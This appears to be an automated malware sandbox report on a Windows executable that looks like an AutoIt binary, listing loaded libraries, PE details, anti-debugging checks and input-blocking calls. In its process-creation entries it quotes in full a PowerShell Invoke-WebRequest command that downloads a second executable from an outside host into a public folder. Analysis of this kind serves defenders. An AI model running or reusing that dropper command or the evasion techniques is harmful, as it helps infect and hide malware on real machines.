Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: elyho3x5zz.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: elyho3x5zz.exe

Static file information: File size 1083904 > 1048576

Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: elyho3x5zz.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: elyho3x5zz.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: elyho3x5zz.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: elyho3x5zz.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""			Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629216D1C LoadLibraryA,GetProcAddress,

0_2_00007FF629216D1C

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629247399 push rdi; ret		0_2_00007FF6292473A2
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292478FD push rdi; ret		0_2_00007FF629247904

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (132).png

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629234514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00007FF629234514

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4567			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5238			Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe

API coverage: 3.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1476	Thread sleep time: -13835058055282155s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6548	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62928C7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00007FF62928C7C0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629252F50 FindFirstFileExW,	0_2_00007FF629252F50
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62929A4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF62929A4F8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62929A350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF62929A350
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629296428 FindFirstFileW,FindNextFileW,FindClose,	0_2_00007FF629296428
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62929A874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00007FF62929A874
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62928BC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF62928BC70
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292972A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00007FF6292972A8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292971F4 FindFirstFileW,FindClose,	0_2_00007FF6292971F4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62928B7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF62928B7C0

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629231D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_00007FF629231D80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF6292A0A00 BlockInput,

0_2_00007FF6292A0A00

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF6292137B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00007FF6292137B0

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629235BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF629235BC0

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629216D1C LoadLibraryA,GetProcAddress,

0_2_00007FF629216D1C

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF62927CAB4 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_00007FF62927CAB4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF62924AF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF62924AF58
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF629258FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF629258FE4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292359C8 SetUnhandledExceptionFilter,	0_2_00007FF6292359C8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF6292357E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6292357E4

Source: C:\Users\user\Desktop\elyho3x5zz.exe

0_2_00007FF62927CE68

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF6292137B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00007FF6292137B0

Source: C:\Users\user\Desktop\elyho3x5zz.exe

0_2_00007FF629234514

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF6292A4C58 GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

0_2_00007FF6292A4C58

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF62927C5FC GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00007FF62927C5FC

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF62927D540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00007FF62927D540

Source: elyho3x5zz.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: elyho3x5zz.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF62924FD20 cpuid

0_2_00007FF62924FD20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
